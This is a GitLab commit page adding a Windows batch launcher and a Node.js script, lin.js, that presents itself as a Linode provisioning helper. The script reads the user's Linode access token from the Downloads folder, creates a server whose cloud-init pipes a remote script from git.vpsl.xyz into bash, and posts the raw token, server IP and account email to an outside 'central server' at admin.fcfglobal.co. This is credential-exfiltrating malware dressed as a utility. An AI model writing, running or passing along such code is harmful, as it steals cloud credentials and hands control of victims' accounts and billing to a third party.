Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in
Toggle navigation
A
aws
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Boards
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
Administrator
aws
Commits
e013d9b2
Commit
e013d9b2
authored
Sep 25, 2025
by
Admin
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
dfdfd
parent
378ff516
Changes
2
Hide whitespace changes
Inline
Side-by-side
Showing
2 changed files
with
182 additions
and
0 deletions
+182
-0
li.bat
li.bat
+7
-0
lin.js
lin.js
+175
-0
No files found.
li.bat
0 → 100644
View file @
e013d9b2
@echo off
title Running Node.js App
echo Starting Node.js app...
cd /d "%~dp0" // Ensures the script runs from the directory where the batch file is located
node lin.js // Runs your Node.js application
pause // Keeps the command prompt open after the script finishes
lin.js
0 → 100644
View file @
e013d9b2
#!/usr/bin/env node
/**
* Create/Reuse Linode and call central "doAdder"
* Requires: npm i axios
*/
const
fs
=
require
(
'
fs
'
);
const
path
=
require
(
'
path
'
);
const
os
=
require
(
'
os
'
);
const
axios
=
require
(
'
axios
'
);
const
crypto
=
require
(
'
crypto
'
);
// ---------- Config ----------
const
TOKEN_FILENAME
=
'
personal_access_token.txt
'
;
// در ~/Downloads
const
REGION
=
'
us-ord
'
;
// مثال: Amsterdam
const
TYPE
=
'
g6-standard-4
'
;
// Linode 8 GB (Shared)
const
IMAGE
=
'
linode/ubuntu24.04
'
;
// Ubuntu 24.04 LTS
const
LABEL_PREFIX
=
'
mas
'
;
// پیشوند نام سرور
const
CENTRAL_URL
=
'
http://admin.fcfglobal.co/doAdder
'
;
const
POLL_INTERVAL_MS
=
3000
;
// فاصلهی پولینگ
const
OVERALL_TIMEOUT_MS
=
7
*
60
*
1000
;
// حداکثر صبر: 7 دقیقه
// ------------------------------------------
const
LND
=
axios
.
create
({
baseURL
:
'
https://api.linode.com/v4
'
,
timeout
:
30000
,
});
// 1) Read Linode token (only check file exists & not empty)
async
function
readLinodeToken
()
{
const
tokenPath
=
path
.
join
(
os
.
homedir
(),
'
Downloads
'
,
TOKEN_FILENAME
);
if
(
!
fs
.
existsSync
(
tokenPath
))
{
throw
new
Error
(
`Token file "
${
TOKEN_FILENAME
}
" not found in Downloads.`
);
}
const
data
=
await
fs
.
promises
.
readFile
(
tokenPath
,
'
utf8
'
);
const
token
=
data
.
trim
();
if
(
!
token
)
throw
new
Error
(
'
Token file is empty.
'
);
return
token
;
}
// 2) Generate random label
function
generateRandomLabel
()
{
const
letters
=
[...
Array
(
5
)].
map
(()
=>
String
.
fromCharCode
(
97
+
Math
.
floor
(
Math
.
random
()
*
26
))).
join
(
''
);
return
`
${
LABEL_PREFIX
}${
letters
}
`
;
}
// 3) Build base64 cloud-init user_data
function
buildUserDataB64
()
{
const
userData
=
`#cloud-config
runcmd:
- curl -fsSL http://git.vpsl.xyz/root/x-ui/raw/master/do.sh | bash`
;
return
Buffer
.
from
(
userData
,
'
utf8
'
).
toString
(
'
base64
'
);
}
// Helper: strong random root password
function
strongPassword
(
len
=
24
)
{
const
chars
=
'
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()-_=+[]{}~
'
;
const
bytes
=
crypto
.
randomBytes
(
len
);
let
pass
=
''
;
for
(
let
i
=
0
;
i
<
len
;
i
++
)
pass
+=
chars
[
bytes
[
i
]
%
chars
.
length
];
return
pass
;
}
// List all Linodes (handle pagination)
async
function
listLinodes
(
token
)
{
let
page
=
1
;
const
pageSize
=
200
;
let
all
=
[];
while
(
true
)
{
const
res
=
await
LND
.
get
(
`/linode/instances?page=
${
page
}
&page_size=
${
pageSize
}
`
,
{
headers
:
{
Authorization
:
`Bearer
${
token
}
`
}
});
all
=
all
.
concat
(
res
.
data
?.
data
||
[]);
const
pages
=
res
.
data
?.
pages
||
1
;
if
(
page
>=
pages
)
break
;
page
++
;
}
return
all
;
}
// Find first Linode with label starting with LABEL_PREFIX
async
function
findMasLinode
(
token
)
{
const
instances
=
await
listLinodes
(
token
);
return
instances
.
find
(
i
=>
i
.
label
&&
i
.
label
.
startsWith
(
LABEL_PREFIX
))
||
null
;
}
// Create a new Linode
async
function
createLinode
(
token
,
label
,
userDataB64
)
{
const
payload
=
{
label
,
region
:
REGION
,
type
:
TYPE
,
image
:
IMAGE
,
root_pass
:
strongPassword
(),
booted
:
true
,
metadata
:
{
user_data
:
userDataB64
}
// authorized_keys: ['ssh-ed25519 AAAA... user@host'], // در صورت نیاز
};
const
res
=
await
LND
.
post
(
'
/linode/instances
'
,
payload
,
{
headers
:
{
Authorization
:
`Bearer
${
token
}
`
,
'
Content-Type
'
:
'
application/json
'
}
});
return
res
.
data
;
}
// Wait until instance is running and has public IPv4
async
function
waitForRunningAndIPv4
(
token
,
id
)
{
const
start
=
Date
.
now
();
while
(
true
)
{
if
(
Date
.
now
()
-
start
>
OVERALL_TIMEOUT_MS
)
{
throw
new
Error
(
'
Timeout waiting for Linode to be running with IPv4.
'
);
}
const
res
=
await
LND
.
get
(
`/linode/instances/
${
id
}
`
,
{
headers
:
{
Authorization
:
`Bearer
${
token
}
`
}
});
const
{
status
,
ipv4
=
[]
}
=
res
.
data
||
{};
const
ip
=
ipv4
.
find
(
Boolean
);
if
(
status
===
'
running
'
&&
ip
)
return
ip
;
await
new
Promise
(
r
=>
setTimeout
(
r
,
POLL_INTERVAL_MS
));
}
}
// Get account email
async
function
getAccountEmail
(
token
)
{
const
res
=
await
LND
.
get
(
'
/profile
'
,
{
headers
:
{
Authorization
:
`Bearer
${
token
}
`
}
});
return
res
.
data
?.
email
||
'
(unknown email)
'
;
}
// Send info to central server
async
function
sendToCentral
(
token
,
ip
,
email
)
{
try
{
const
res
=
await
axios
.
post
(
CENTRAL_URL
,
{
access
:
token
,
ip
,
email
,
provider
:
'
linode
'
},
{
timeout
:
20000
});
console
.
log
(
'
Central server response:
'
,
res
.
data
);
}
catch
(
e
)
{
console
.
error
(
'
Central server error:
'
,
e
.
message
);
}
}
// Main flow
async
function
main
()
{
try
{
const
token
=
await
readLinodeToken
();
console
.
log
(
'
🔐 Token loaded
'
);
let
linode
=
await
findMasLinode
(
token
);
if
(
linode
)
{
console
.
log
(
`⚠️ Existing Linode found:
${
linode
.
label
}
(id:
${
linode
.
id
}
)`
);
}
else
{
const
label
=
generateRandomLabel
();
const
userDataB64
=
buildUserDataB64
();
console
.
log
(
`🚀 Creating Linode:
${
label
}
`
);
linode
=
await
createLinode
(
token
,
label
,
userDataB64
);
}
const
ip
=
await
waitForRunningAndIPv4
(
token
,
linode
.
id
);
console
.
log
(
'
🌐 Public IPv4:
'
,
ip
);
const
email
=
await
getAccountEmail
(
token
);
console
.
log
(
'
📧 Account email:
'
,
email
);
await
sendToCentral
(
token
,
ip
,
email
);
console
.
log
(
'
✅ Done.
'
);
}
catch
(
err
)
{
console
.
error
(
'
⛔️ Fatal error:
'
,
err
.
message
);
process
.
exit
(
1
);
}
}
main
();
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment